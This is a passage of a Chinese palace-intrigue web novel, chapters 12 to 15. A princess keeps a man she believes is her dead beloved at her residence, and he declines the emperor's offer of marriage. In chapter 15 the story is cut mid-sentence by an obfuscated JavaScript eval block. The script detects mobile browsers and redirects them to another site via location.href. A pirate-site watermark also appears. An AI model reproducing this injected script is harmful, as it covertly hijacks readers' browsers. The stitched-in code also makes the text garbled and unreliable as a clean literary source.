忽然一阵叩门声,李繁宁淡淡掀了掀眸,那边柳伯均已经小心翼翼推开了门。 “公主。”来人谨慎一笑,这是他连日来难得露出的一个笑。 李繁宁搁下信笺,“他如何了?” 柳伯均还背着药箱,站定道:“这沈公子身体底子不好,果真起了热,好在晚间用过药,只是低烧,并无大碍,睡一觉就好,不过……公主先前吩咐说他手有旧疾,要仔细照看,但下官并未发觉他手上有什么陈年旧伤,筋脉也没有断过的痕迹。” 李繁宁思忖道:“断过的筋脉若重新接上,你可能看出?” “人的筋脉一旦断开想要再接上可不是易事,就算接上了,也必会留下伤疤,就算用上好膏药祛除,触诊也能摸出筋脉接缝的痕迹。”柳伯均顿了顿,“除非医术十分高明,不过,就算是如今太医院的院正也难有这等本事,若真有医术高明至此之人,那必定早在杏林界掀起一番风浪了。” 言下之意,柳伯均并不相信有这个人的存在,那自然也不相信沈骤的手筋是重新接过的。 近日的风波他也有所耳闻,只 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柳伯均闻言眼神都亮了,生怕李繁宁反悔,他忙应道:“下官必竭尽全力,不负公主所托!” 因为太高兴,他离开时还被门槛绊了一下。 青雘目送他离开,方说:“这柳太医年纪虽轻,但师承院正,医术精湛,连他都看不出的旧疾,或许……” 青雘话里有话,李繁宁却只沉默片刻,道:“你下去吧,我累了。” 青雘应是,临走前脚步一顿,道:“公主,沈大人方才在外等了大半日,宵禁才不得不离开,明日恐怕还会来。” 和公主府那些寻常幕僚不同,沈骤到底是有身家背景的人,那沈泊易好说也是个四品官,倘若沈家不愿意,只怕还真不好把人一直扣在府里。 青雘这是在提醒她,然李繁宁却好像没听到,也不应答。 青雘不再多言,俯身退了下去。 长夜归宁,李繁宁抬眼看紧挨着邻屋的那面墙,手里的信笺被攥成一团,眸中泛起哀红。 那日千秋宴初见沈骤,失而复得的欣喜反而是后知后觉,彼时更多的是难过。看他伏拜在地,卑躬屈膝,就好像看到了一堆带着血、糜烂的白骨,和那些信笺一样,都是谢临舟折断的脊梁。 好像风一吹,便骨化成粉,连同旧时的痕迹一并埋进了尘埃里。 悄无声息,无人察觉。 “可是谢临舟……”李繁宁声音轻颤,她缓步过去,视线仿佛能穿过这道墙,定定落在他身上,“这个世界上,总要有人能一眼认出你吧。” 否则,你该多难过啊。 墙上的倒影忽长忽短。 “扑嗤”一声,火星子迸了两下,烛火继而熄灭。 沈骤站在一墙之外,双眸隐没在黑暗中看不清神情,袖中的手忽而捏紧。 “咳——” 他迅速捂住唇,退开几步,扶着床架,指缝中漏出了几声低低的咳嗽。 13.第十二章 翌日午时,沈泊易果然来了。他等在正堂,茶过半盏,李繁宁缓步而至。 她今日未着华服金钗,那一身娴静淡雅如同邻家女娘,但眉宇间仍不掩矜贵气度,沈泊易到底为官数载,虽此前未与她正式打过照面,也一眼便将人认出。他匆忙起身,迎上前道:“下官见过公主。昨日多谢公主出手救犬子一命,下官得知此事寝食难安,不知眼下是何情形,还望公主告知。” 好似真如传闻那般,沈泊易对沈骤这个在外养大的儿子极度上心,那神态紧张不似作假。 李繁宁若有所思地虚扶他一下,“沈大人放心,令郎安好,只身体欠佳,正卧榻休养。” 沈泊易松了口气,又说:“实在不知如何感激公主,待潮生病愈,我必再携他上门答谢。” 这是要把人带走的意思。 李繁宁一笑,请他落座,道:“听说沈大人昨日刚接了兵部的调令,还未恭喜大人得圣上青眼,日后必定官运亨通,往后少不得有打交道之处,还望沈大人多加照拂。” 沈泊易谦逊道:“下官初入长安,对朝中诸事多有不通之处,要请公主提点才是。” 说起来也是巧,昨日姜家举办诗会时,一则授任的文书正抵达沈家人歇脚的驿站,若是再早一些,姜定轩想动沈骤说不准都得再斟酌片刻。毕竟沈泊易没有家世背景,圣上肯力排众议择定他坐这个位置,那是有重用他的意思。 这不刚一上任,就已经冠上了长安新贵这四个字。 不过,昨日內狱的消息也传得太快了,宫里几乎只比李繁宁晚一步到。昨日恐怕无论如何都会惊动宫里,就算她不到,沈骤也不过是多吃点苦头。 一切都正正好,似乎她的出现才是个变数。 思及此,李繁宁不由多看了沈泊易一眼。 “提点谈不上,不过沈大人初来乍到,免不得要置办宅邸,一时半会儿恐怕无法下榻,令郎,还是留在公主府为好。” 那“令郎”二字仿佛是有意停顿,她目光如炬,落在沈泊易脸上似探究又似压迫。 沈泊易倒是面不改色,只是为难道:“恐怕不妥,公主虽是好心,但且不说孤男寡女惹人非议,潮生病中向来多事,必会扰了公主清静。” “我这人不怕非议,也不喜清静。”李繁宁道:“沈大人一向是个不惧流言之人,怎么当了京官还拘束了?” 沈泊易犹豫片刻,似乎也料到有这样的结局,他从袖中拿出一张方子,道:“此乃犬子在家中调理身子时用的药方,唯恐药性冲撞,还请贵府郎中斟酌用药。” 侍婢接过,李繁宁好言应下。 沈泊易脚下踌躇数刻,终是拱手辞去。 李繁宁看着他的背影,忽然道:“此人从前可有久居过长安?” 青雘一顿,回想了下探子递来的消息,摇头道:“这沈大人原就是扬州人,少时在边关从的军,随军数载,最后又回到扬州落脚,靠着功勋从守备军小旗一路升上来,为官勤勉,平日若非军务,从未离开过扬州。” 李繁宁眯了眯眼,似想将他的身影看得再清楚一些,可无论她怎么看,都不记得从前有见过这个人。 “你去查一查,前些年他与谢府中人可有私交。” 青雘稍作迟疑,“是。” “另外,”李繁宁仔细端详这张药方,“拿去请柳太医过目。” - 沈骤低烧一夜,醒来后体内余毒已尽数排出,气色看着比昨日半死不活的样子好很多。身上也换了新衣,大概是原本给府中幕僚做的衣裳,尺寸与他正合适。 蓝色很衬他的肤色,他从前也常是一身月白,但好像不一样了。李繁宁看着沈骤静坐的身姿,一时说不上是哪里不同。 柳伯均正在给沈骤号脉,一抬头就见公主神情恍惚站在门外,他忙朝沈骤咳嗽一声,暗示道:“公主。” 沈骤转头一看,连忙起身。 柳伯均非常识趣地拎着药箱退下了。 方才得知李繁宁见客,沈骤便知道是沈泊易来了,他朝李繁宁身后张望,“公主,家父他……” 李繁宁回过神,目光落在他脖颈的青痕处,眉心稍纵即逝地蹙了一下,“沈大人官拜兵部,正是大小事冗杂的时候,新宅尚未落定,我已与他商量,沈公子就先暂居此处吧。” 沈骤也是方才柳伯均来诊脉时给他道喜才知道这件事。 沈泊易这么长时日没接到任命,他只当圣心另有定裁,没想到最后还是花落沈家。 他眼中有思绪闪过,很快又道:“怎好叨扰公主,家逢喜事,在下还是回去为好。” 李繁宁没有应这话,她看着他的神情总好像有千言万语,然而沉默须臾,却只温声说:“你大病未愈,我让厨房做了些清淡的菜,先用饭好不好?” 这般好声好气的语调里藏着不容商榷的强势,虽然李繁宁待他总是温情脉脉,甚至有些小心翼翼,但沈骤能明显察觉到她温柔底下收敛的刺。 一个不留意,那些刺会在瞬间张开,溅所有人一脸血。 沈骤在她的注视下动了动唇,没有拒绝。 昨夜下了一场小雨,地上还有积水,李繁宁提裙迈下台阶,沈骤慢了半步跟上去。 他自认除了这张脸没有露出任何破绽,长安故人或惊或疑都属正常,他既露了面,就必然要掀起一阵风浪,可当日之死天衣无缝,哪怕是姜定轩昨日那样歇斯底里,实则也不敢断定他究竟是谁,否则也不必费劲审他。 但是,他垂目随意地扫了眼桌上的菜式,以李繁宁对谢临舟的了解,她深知他的忌口和喜恶,如果她有意试探,一顿饭便能下足功夫。 可是没有,这桌上每一道菜都迎合了他的口味,以至于无论他如何下筷,都不会露出任何破绽。 因为她根本无需寻找他的破绽。 想到昨夜隔墙之言,沈骤喉间干涩,端起茶水迅速抿了一口水,不动声色地将胸口那股酸胀的情绪压了下去。 两人对坐用膳,半响无言。 青雘在旁布菜,沈骤低垂的视线偶尔会落在她的银箸上,起初只是不知把眼神放哪里,后 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“我阿娘读过书,举止清雅,人也温柔。”沈骤叹气道:“可惜走得早,没享什么福。” 李繁宁道:“沈大人看着是个良善之人,应待她不薄。” “父亲人是好,但我娘这人太过要强,除了要求父亲照拂我,她自己却是吃穿都要自己挣,那双眼睛就是做绣活做坏的,若非如此,想来也能多撑几日。” 沈骤对这些说辞想必倒背如流,就算李繁宁有心去查,也一定能查到与他所说完全一致的信息。明明知道他话里八分都是假的,李繁宁却妄图从那剩下的两分里拼凑出他的过往。 那些她毫不知情的过往。 沈骤说话时就了几口汤,他吃相虽谈不上不雅,但吃饭的速度要比从前快很多。 在沈骤身上,没有了谢临舟的沉着和从容,甚至不止是行为举止,仔细看连这张脸都与从前有所不同。 静止时还看不出来,但他笑起来便能看出他脸上肌肉走势略有不同,鼻骨处那颗痣也不见了,就连眉眼的高低都与从前有些许差别。 或许旁人一时看看不出差在哪里,但李繁宁画了那么多幅他的肖像,哪里添一笔哪里少一笔她最清楚不过。 是骨相的变化,而就是这么差之毫厘,让他即便与谢临舟乍看毫无区别,可越看就越是不同。 沈骤正说着话,李繁宁的眼泪忽然像线条一样掉下来,在谁都没有防备时“啪嗒”一声落进了汤碗里。 沈骤一愣,声音戛然而止,就见李繁宁缓慢地伸出手,用指尖轻触他的脸。 鼻梁、眼尾、眉骨…… 她很轻地、一寸寸抚摸。 而只有沈骤知道,这些地方有过很多看不见的伤痕,曾被一刀刀切开,又一针针缝起来。 他也知道这些伤疤早已经褪去,肉眼看不见,伸手也摸不着,但为什么李繁宁碰到,他还是会觉得疼? 这种疼痛让他一时忘记躲开,再回过神时,对面的人已经收回了手。 14、第十三章 天朗气清,晴空万里。 一行奴仆捧着托盘、抬着箱笼从院子里走过,阿彩叉着腰站在廊下,指挥道:“慢点慢点!这里面可是上好的山水琉璃屏风,磕坏了你们拿脑袋赔呀?” “诶,晃什么呢,这套十二花神盏可是压箱底的物件!谁敢碎一个试试?” “都仔细着点,手里捧着什么没个轻重?!” 一连半个月,流水一样的物件往厢房里搬,眼见沈骤的住处金碧辉煌,小丫头似还不满足,恨不得把府库给掏空了。 这可是公主头一个安置在东苑的客人呀,还有可能是未来驸马爷,阿彩自然是铆足了劲儿对他好。 顶着烈日,阿彩拼命摇扇子,转头一看沈骤正坐在台阶上喂猫。那撸猫的手法甚是娴熟,月奴在他手里乖巧得像只新猫,他一张开掌心它就主动凑过去。 真稀奇,小霸王也有亲人的一面。 阿彩顺嘴一问,“沈公子家中想必也养过猫儿狗儿吧?” 沈骤道:“养过,养过鹦鹉,养过蛐蛐,不过都在赌场被咬死了。” 他忽然瞅着月奴问道:“公主这猫瞧着倒是好胜,若是进了赌场,说不准也是一只常胜将军。” 话音落地,月奴和阿彩皆是一个激灵。 只见月奴那往他掌心顶的圆润脑袋忽地一缩,阿彩趁机将它抱回来,警惕道:“你可别仗着公主青睐你就胡作非为,公主看上的人不少,处死的人更多。” 沈骤一哂,“所以呢,公主今日也不回府用膳?” 从那顿饭之后,李繁宁已经半个月没出现了。 连日来沈骤总会这么一问,其实阿彩也不明白,公主么总是一阵一阵儿的,谁也摸不清她的想法。阿彩揪着眉头揣测,囫囵道:“大抵是忙吧,许是明日就回了。” 明日复明日,阿彩这回答已经糊弄沈骤好几日了。 他显然不信,敷衍地笑了一下,起身拍拍衣裳就往院子外走。 阿彩一惊,追上去道:“你去哪里?” 沈骤顿步,无奈叹气:“院子里走走,你要跟就跟吧。” 阿彩已经跟了他好几日,跟到两个人大眼瞪小眼,已经略微有点两看生厌的意思了。 于是闻言不由悻悻,“好吧……不要出府就是了。” 事实上沈骤根本出不去这座宅子,起初他连东苑都出不去,门外那两个五大三粗的侍卫一把弯刀就能给他挡回来,沈骤很快就发现,他似乎是被囚禁在这座宅邸里了。 而困住他的人迟迟不现身,像是想就这么将他一直关在这座院子里。 沈骤并不着急,他坐在湖畔的石案边,静静望着平静无波的湖面,眼神甚至有着眷恋。 那边柳伯均前来诊脉,远远见他的背影,对这种失去自由的痛苦感同身受。他悄悄拉过阿彩,问道:“公主究竟去哪儿了?” 阿彩愁眉苦脸道:“公主的去向我怎么会知道?不是在宫里就是在执鸾司嘛。” 柳伯均摸摸下巴说:“不在宫里。” 托沈骤的福,柳伯均如今自由了,借口替沈骤调理身体,还能回太医院找点人参鹿茸什么的。 阿彩耸耸肩,“那就是在执鸾司。” “那他,”柳伯均偷偷指了指沈骤,“伤可要好全了,还能这么不明不白扣着?这可是沈侍郎的儿子,我近来听外头风言风语,公主到底理亏,要不要我减少点药量,让他再多病些时日?” 这…… 阿彩看一眼柳伯均,真狠啊,自己逃出生天却把旁人推下火坑,能在宫里混的果然都不是一般人。 不过阿彩有些犹豫,这几日明显察觉到这沈大公子魂不守舍,想想也是,之前还能借口说公主留他养伤,等他伤势痊愈,再将他强行困在此处,岂非就是公主囚禁他啦? 但下一瞬阿彩反应过来,公主对这人上心得很,万一有个三长两短,她可不敢担这责任。 阿彩于是猛地摇头,并且警告他,道:“你别乱来,小心这辈子回不去太医院。” 柳伯均最怕这个,闻言只好作罢。 - 月没参横,长安城随着宵禁陷入沉寂。执鸾司內狱一片幽黑,蓝色的烛火挂在石壁上,四处飘荡着鬼哭狼嚎的回响,犹如人间炼狱。 审讯室的刑架上绑着个人,浑身被打得不成样子,只是被麻袋捂住了头,看不清人脸,大概连嘴也被捂住了,只听麻袋里发出断断续续的唔唔声。 狱卒挥鞭有力,两个时辰下来已经气喘吁吁,而刑架上的人声音也已经愈发微弱。 再这么打下去恐怕要死人…… 然而狱卒偷偷觑一眼坐在正中央的公主,却见她仍未有叫停的意思,不由为这人捏了一把汗。 李繁宁闻着空气中浮动的血腥味,脸上的表情无动于衷,甚至有些心不在焉。 她以往不喜欢在执鸾司留宿,血的味道让她亢奋,李繁宁在这个地方会变成一个彻头彻尾的魔鬼,而越是兴奋她脸上就越是冷漠。 一连半个月,狱卒可谓是心惊胆颤。 这就苦了青雘了,接到狱卒求助的眼神,青雘不得不开口提醒道:“公主,再打下去人就死了。” 李繁宁翘起的足尖轻轻一晃,这才屈尊降贵地起了身。她来到刑架前,狱卒终于停了手,李繁宁在这人面前站了片刻,一把掀掉了他头上的麻袋。 脸已经肿得不成样子,但依稀还能辨出姜定轩的轮廓。 可惜他已经昏死过去,连抬头看一眼幕后黑手的机会都没有。 “送回去吧。”李繁宁用帕子擦着自己的指尖,说:“路上黑,慢着点。” 青雘这才松了口气,虽是自小伴公主长大,可这两年她越发拿不准公主的脾气了。 有时见她手起刀落分明是奔着要对方命去的,偏又在最后关头收了手。青雘一颗心忽上忽下,实在不明白公主在想什么,正如她不明白公主这几日为何要躲着那沈骤。 回到值房,青雘伺候她梳洗,试探道:“沈公子的伤就要痊愈了,公主还不回府吗?” 李繁宁擦拭发梢的手顿了顿,“让阿彩照顾好他。” 公主府的侍卫已经比往日添了一倍不止,如今守卫森严堪比皇宫,沈骤在东苑绝对安全。 如果可以,李繁宁想将他永永远远绑在自己身边。 可她比谁都清楚,这个人伤痕累累回到长安,不是为了寻求谁的庇护。 值房的案几角落摆着一摞高高的卷宗,那些卷宗的页脚甚至都泛起了毛边,可见是被人翻来覆去地看过。那是谢家的案子,李繁宁曾发了疯地想从中找到一星半点线索,她总得知道他为什么死。 但事发后很快她就被送往和亲的路上,再回长安时已过了四五个月的时间。 小半年足够有心人抹去一切痕迹,这份卷宗完美得没有任何瑕疵,她没有从中找到任何线索。 她实在不明白,尽管太傅当年查到的是能助李业衡脱罪的真相,这个真相又何至于置谢家满门于死地? 铲除李业衡唯一的好处,便是太子失去了最大的对手。 当年李业衡是延徳帝最疼爱的皇子,一度有流言传出,圣上不喜太子,欲废而另立。 可仅是如此吗,仅是为了一个李业衡? 这天夜里,伴随着内狱里鬼哭狼嚎的回声,李繁宁做了一个梦。 梦里的场面屡见不鲜,榻上的人眉头都不见动一下。 那是一间驿馆的雅间,站在屋舍中央的人一身嫁衣,从头到脚全是红色,脸也是红的,手也是红的,匕首割开了她的掌心,血顺着指尖不断往下落。 地上躺着的是外藩小王子阿纳尔,他手脚张开双目瞪大,眼珠子却不会转动,胸口好几个窟窿在流血,血流到李繁宁的裙摆边,她握着匕首的手不住颤抖,似是恍然回神受到惊吓,她猛地扔掉了匕首,向后瘫坐在阿纳尔身边。 然而匕首触地“噹”地一声,冰冷的声音却又让她陡然冷静下来。 眼泪流经血渍变成了一道道红色的泪痕,看着触目惊心,她竭力让发抖的气息平稳下来,又缓步过去捡起了匕首,蹲下,刀口从阿纳尔的脖颈一点点切开。 梦里的人对这一幕似乎已经麻木,脸上毫无波澜,但下一瞬,她眉心倏地蹙起,失声丢掉了手里的头颅。 因为被她割下的头颅从阿纳尔的脸变成了谢临舟! 没等她跌跌撞撞站稳,此时场景陡然一变,地上那具庞大的尸体不见了,凌乱的驿站变成肮脏的牢房,四周空旷而昏暗。刑架上吊着一个清瘦的人影,浑身是血令人难以辨认,李繁宁惊魂未定,刚想打量他,他便缓缓抬起了头,“公主……” “谢临舟?”李繁宁怔在原地,反应了数息,猛地向他跑去,“谢临舟!” 奈何被铁栅栏拦在门外,她只能拼命摇拽锁链。 谢临舟气若游丝,凄声道:“公主,你为什么不救我……为什么……” “不,我想要救你的……”李繁宁连连摇头,哭道:“对不起,对不起对不起,我会救你,你等等我……” 她企图用手扯断锁链,手心因此血肉模糊,可刑架上的人还是一点点消失了,他变成了灰蒙蒙的尘埃,声音却还在牢房里回荡。他一声声唤着公主,一声声质问她,为什么救不了他…… 不、不要…… 李繁宁在呢喃中睁开眼,眼泪滑入鬓角。这样的梦做了无数遍,梦中的疼痛并不会因为梦醒消散,她仿佛真的被锁链勒断了指骨,蜷缩喘气,大汗淋漓。 青雘听到声响匆匆入内,还没开口,就听榻上的人哑声说:“备轿。” - 沈骤没睡着,手腕丝丝缕缕的疼痛在夜里格外清醒,他隐约听到门外有脚步声,不由一怔,闭上了眼。 烛火早就燃尽了,李繁宁推门入内,就这样站在他的床头,魔怔一般看了许久。 即便黑暗中根本看不清他的脸。 她长长呼出一口气,整个人像刚从水里被打捞出来一般,脱力地坐在脚蹋上,缓了半响,小心翼翼握住了他的手。 沈骤嘴角绷直,眉头在碰到她的刹那不自觉蹙了一下。 初夏的夜气温攀升,她却冷得像块冰。 当她握住自己的手贴往脸颊的时候,沈骤更是直观感受到了冷汗一片。 “我梦见你了……”她轻声说。 不是什么好梦吧,沈骤以为她会继续往下说,可是没有,她安静地伏在他床边,呼吸喷洒在他的指尖。 不知道过了多久,她的气息逐渐平缓,手还虚虚搭在他的手腕上,像是睡着了一般。沈骤微微偏过头,看了她半响,小心翼翼将手从她掌心抽出,然后缓慢靠近她的脸颊。 他想拂开那几缕黏在她脸上的发丝,但是他知道不能。 就在这停顿的片刻,手又忽地被人握住。 沈骤心脏猛跳了一下,下意识要缩回手,然而李繁宁用了蛮力。她攥得好紧,紧到沈骤一时挣脱不开。 可她连头都没抬,仍是一副睡着的样子。 夜静得只剩两个人的呼吸,一轻一浅此起彼伏。无声僵持了许久,沈骤喉间干涩,手上力道渐渐松了,他平复了情绪,闭上眼,只当自己也在梦里,任由她攥紧。 翌日清早,沈骤醒来时榻边已经没了人影。 竟然睡着了…… 若不是地上那张遗落的帕子,他险些要以为昨夜榻边的人真是一场梦。 沈骤眼神有片刻的游离,但很快就恢复了清明。他起身更衣,侍女闻声便端来盥盆伺候洗漱。 阿彩站在一旁,脖颈伸出二里地,使劲儿地盯着他的脸看。 沈骤本就擅长对旁人的目光视若无睹,但默了片刻,拧帕子的手仍是一顿,狐疑问道:“我脸上有字吗?” “唔,我一早看到公主从你屋里走出来。”阿彩忍了忍,实在憋不住,睁着双大眼睛问:“你和公主——” 这时,门外有侍女匆匆入内。 阿彩学着青雘的口吻,说:“什么事慌慌忙忙的?” 那侍女道:“是宫里来人了,圣上传召,宣沈公子进宫觐见。” 阿彩皱眉,没有公主的吩咐,这人不能随意离府,可是一抬眼,竟然是吕成顺。 换作旁的小太监倒还好打发,偏是这个跛脚的老太监,阿彩思忖一番也没辙。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 15.第十四章 今日卯时天刚亮,李繁宁就被召进了宫。 御书房门牖紧闭,她站在廊下安静候着,既没问圣上为何召见自己,也没打听里面有什么人,她就那样淡淡地,仰头看云层泄出的霞光,百无聊赖地想扯扯自己的帕子,却忽然发觉两手空空。 大概是落在沈骤床边了,她思绪发散,又想起了今早离开时榻上人的模样。 倏地,殿门被推开,李繁宁回过神,就看到皇后面容凝肃,在瞧见李繁宁时那匆匆的步子顿了顿,眼神之犀利,全然没有往日的慈悲。 李繁宁照常向她问安,脸上没有半点心虚,这令皇后眸色更沉,但中宫的修养到底让她沉住了气。旁边的陈錺一颗心悬起,忙催道:“公主,快进去吧。” 李繁宁缓步入内,慢条斯理地经过了皇后。 殿内还掌着灯,延徳帝坐在上首座上,昏暗的烛光照出了他脸上的沟壑,他瞧着整宿没睡,这会儿抿了口茶润过嗓子,开口却还带着哑,看来前面没少说话。 “昨个儿夜里姜三郎遭人毒打,打得不成人样,还丢在了姜家大门外,这事你知道吗?” 这件事当夜就传开了,眼下谁敢说不知道?皇后深更半夜向延徳帝哭诉,话里话外要求严惩贼人,可这贼人是谁,众人心知肚明。 李繁宁摇了摇头,“昨夜儿臣睡得早,倒还没来得及听说,怪不得娘娘方才脸色不好。” 延徳帝眯了下眼,“这件事当真与你无关?” 李繁宁眼都不眨一下,“儿臣没有对姜定轩动手,他若是有证据,儿臣愿意当堂对峙。” 延徳帝不说话,他搁下茶盏,起身踱到案几前,隔着三层台阶俯视着自己的女儿。 帝王沉默的注视足以令人发慌,李繁宁迎着他的视线,却没有半分想要退缩,延徳帝忽地笑了下,陡然转了个话题,“我听说沈氏子在你府上养伤?” 李繁宁这时才蹙了下眉,不情不愿地“嗯”了声,眸中露出了警惕的眼神。 见她这般,延徳帝忍不住又笑一声,正色道:“你对那沈泊易可有了解?” 李繁宁思忖道:“儿臣只知此人行伍出身,并无家世背景。” “朕要的就是他没有背景。”延徳帝叹了声,道:“六部多为世家把持,兵部侍郎一职空置了半年有余,朕舍近求远从地方调上来一个沈泊易,只因此人无党无派,为官勤勉尽责,朕要用他,且要重用他,阿宁,你可明白?” 李繁宁怎么会不明白。 兵部侍郎这个位置,兵部尚书萧鼎早就举荐了多次,延徳帝却力排众议择定了沈泊易,这是皇权与世家之间的争斗,而这种争斗早已不是一日两日。 这些年延徳帝对世家明面上和和气气,实则底下却是暗潮涌动,否则也不会放任李繁宁在这个位置胡作非为。 他想要收拢世家的权力,就必须要打破世家的桎梏,沈泊易便是这其中一步。 李繁宁明白,朝廷上下更是心知肚明,如今沈泊易再不是无党无派,他的背后是圣上。 所以呢,沈泊易总算坐不住了,而延徳帝打算替这个新晋纯臣讨回自己被扣在公主府的儿子了? 李繁宁抿了下唇,神色恹恹,似乎早料到会有这一天。 然而,延徳帝下一句却道:“所以,朕倒是不反对你与沈家联姻,只是那沈骤是个庶子,无才无德,配不上你,但你若当真心仪,倒也无不可。” 李繁宁一怔,倏地抬头看向延徳帝,见他神情认真,并无玩笑之意。 “怎么,傻眼了?”延徳帝笑了笑,“朕既想重用沈家,你又是朕最疼爱的女儿,朕何不成全你?” 李繁宁应该欣喜的,可此刻涌上心头的却是迟疑,“父皇既想重用沈家,可调查过沈骤吗?” 那张脸已经闹得满城风雨,李繁宁不必在延徳帝面前回避此事。 这两年她无数次想重翻旧案,可只要刚起个头就会被延徳帝摁下去,当年的案子似乎成了延徳帝心中的一根刺,他至今不肯放李业衡出王宅,也不许任何人提谢临舟。 可是帝王多疑,沈骤这张脸,他怎么可能不查? 既然查了,又当真全信了吗? 延徳帝闻言果然默了须臾,却是反问李繁宁,“依你之见,这沈氏长子,究竟是不是?” 四目相接,李繁宁屏住了呼吸。 她试图从帝王深不可测的眼睛里看出什么,可她什么都看不出。但是她知道,人死如灯灭是一句悖论,至少在大理寺的罪案里,他的罪名罄竹难书,他死了是罪臣,活着便是罪加一等的逃犯。 李繁宁在这一刻深刻地意识到,沈骤绝不能是谢临舟。 她好像忽然明白,沈骤一次次推开的是什么。 “他不是。”李繁宁没有犹豫地答道,“当年那人的尸首是由大理寺何大人亲自料理的,儿臣看过仵作记档,除非……” 延徳帝道:“除非什么?” “除非真像外头传言那般,是诈尸还魂。” 延徳帝从不信鬼神之说,李繁宁这番话仿佛打消了他最后那点疑虑,他刹时笑起来,“胡言乱语,若真有邪祟,便让他近到朕身前来看看。” 李繁宁低头,也跟着一哂。 这时,陈錺眼尖地瞧见了门外的人,忙说:“圣上,沈公子在外候着呢。” 李繁宁闻言皱眉,转头瞧了眼,还真是他。 延徳帝敛了笑,背手说:“正巧,叫他近身来让朕看看。” 窗外日头已经高升,沈骤一步步踏入御书房,那晨光描着他的轮廓,延徳帝看着那身形恍惚了片刻,待回过神时,沈骤已经在他面前跪好了。 他仍旧跪得战战兢兢,恨不得把头都埋进地里。 延徳帝走下台阶,道:“把头抬起来。” 沈骤不得不慢吞吞抬起头来,如此近距离地承接着帝王的眼神。 上次千秋宴上沈骤并未直视圣驾,这一眼竟让他生出了一丝恍如隔世的错觉。 眼前这个人他曾几何时也奉为师长,在从前谢临舟的心里,延徳帝与太傅有着如出一辙的分量。 只是没想到他到死都没见上他一面。 延徳帝道:“瞧你身子休养得不错,看来公主将你照顾得很好。” 沈骤敛了眸色,忙拱手回话,“承蒙公主救命之恩,草民没齿难忘。” “都是一家人,就无需说感恩的话了。”延徳帝这话让沈骤怔了怔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16402616|183216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他继续道:“你虽只是个庶子,才华平平无甚建树,按理来说是配不上朕的女儿,但念你父亲为官数载鞠躬尽瘁,且盛安喜欢你,朕也便允了,即日起你便到执鸾司领个差事,待礼部择个日子——” “圣上!”沈骤骤然出声,压低了头颅说:“草民绝不敢辱没公主,公主的救命之恩草民结草衔环,来日、来日必以死相报。” 延徳帝眯了眯眼,“你这是何意?朕既允了,何来辱没之说,你两次推辞,难道是朕的公主还配不上你?” “不……”沈骤伏拜下去,“实在是草民配不上公主,草民、草民整日流连秦楼楚馆,生来便是个吃喝玩乐的性子,实在难堪大用。我既不欲为公主约束了自己的喜好,也实在不敢让公主为我伤心,公主这般好,自有大把良婿可择,若真为我耽误了年华,那草民真是罪该万死了!” 李繁宁垂眸看了他一眼,她就知道,只要让他开了口,她就没法留住他了。 然而却是延徳帝看着更为不悦,他沉声道:“你可想好了?” 沈骤躬着背脊,没有犹豫,“是,还望圣上成全。” 延徳帝又看了他许久,没有说话,拂袖离去。 - 目视圣驾远去,李繁宁出乎寻常的平静,“还记得出宫的路吗?” 不等沈骤回答,她又说:“走吧,我送你出宫。” 她说的是送他出宫,而不是送他回公主府。 沈骤顿了顿,迟一步跟上,与她保持着一前一后相差两步的距离。 两人步履缓慢,很长一路谁都没有说话。 从丹凤门出去就是百官出入的侧门了,李繁宁盯着地上他被拉长的影子,忽然开口:“当年……” 沈骤心口一痛。 “圣上命翰林院修补本朝国史,任他为主修,且许他事成之后,应他一个要求。” 沈骤垂了下眸,他记得。 彼时他已及冠,在翰林院历练两年,延徳帝有意将他调往中书省侍奉进奏,修补国史这桩差事本不该落在他身上。 那两年来他与李繁宁隔着深宫后院,虽不曾逾矩半分,但少男少女之间暗流涌动的情愫,明眼人都看得出来。 延徳帝自是知晓,他嘴上不说,心里却高兴,虽说那时李繁宁并不得他宠爱,但无论是哪个公主,他都乐得见谢临舟成为自己的女婿。 是以所谓的差事,不过是给谢临舟一个开口求娶的机会,那是延徳帝的恩赏。 得帝王应允,这桩婚事本该板上钉钉。 可惜事情还没办成,梓州大败,李业衡被押送回京。 再之后,谢家也出事了。 “只差那一旨婚约。”李繁宁回忆过去,平静地说:“若无变故,我应该已经嫁给他了。” 沈骤跟在她身后,沉默许久,道:“世事难料,公主……应该向前看。” 李繁宁没有说话,走过这条御道,两人双双顿步。 沈泊易得知消息,已经携车架等在宫门口了,好不容易看到沈骤,他抬脚就要上前,又生生停住。 沈骤以为李繁宁不会再开口了,正要动身离开,就听她轻声道:“如果我也向前看,就没人记得他了。” 16.第十五章 沈骤随沈泊易上了马车,他脸色不是很好,沈泊易道:“顺路去一趟仁心馆,让榆娘给你瞧瞧。” “不必,我无碍。”沈骤回过神道:“家里可还好?” 沈泊易长叹着点了点头,“家里家外眼睛多,往后日子恐怕不能像在扬州那般松懈了。” 顶着这张脸回来,势必要被人试探监视,沈骤早有心里准备,“也不必太拘谨,拘谨才露出破绽。对了,圣上近来可召见过您?” 沈泊易却是摇了摇头,“如今都说我得圣上爱重,但除了千秋宴那日述职,见圣上多是在宣政殿,他从未私下召见过我,也不知是不是对我起了疑。倒是吕公公不时与我闲谈,依他的说辞,圣上耳通八方,什么都明白,且叫我宽心。” 宽心,沈骤皱了下眉,自沈泊易担任兵部侍郎,圣上用他之心众目昭彰,沈骤也料定他不会由着李繁宁胡来。 可是,他道:“适才圣上召我进宫,欲为我与公主赐婚。” 沈泊易一顿,“你应了?” 沈骤摇头,“没有,我只是有些看不懂圣上。我这张脸,他疑心你正常,但若是起了疑,还想将公主许给我,这便叫人看不透了。” 沈泊易道:“圣心难测,许是试探也说不准。” “或许吧。” 执鸾司耳目众多,他若是耐不住性子在里面动了什么手脚,但凡沾了三年前的案子必会露出端倪。 但这次回到长安,沈骤心头总有团迷云,他说不清那是什么。 离新宅还有很长一段路,沈骤索性闭了眼。他眼下一片乌青,看着像是没睡好。 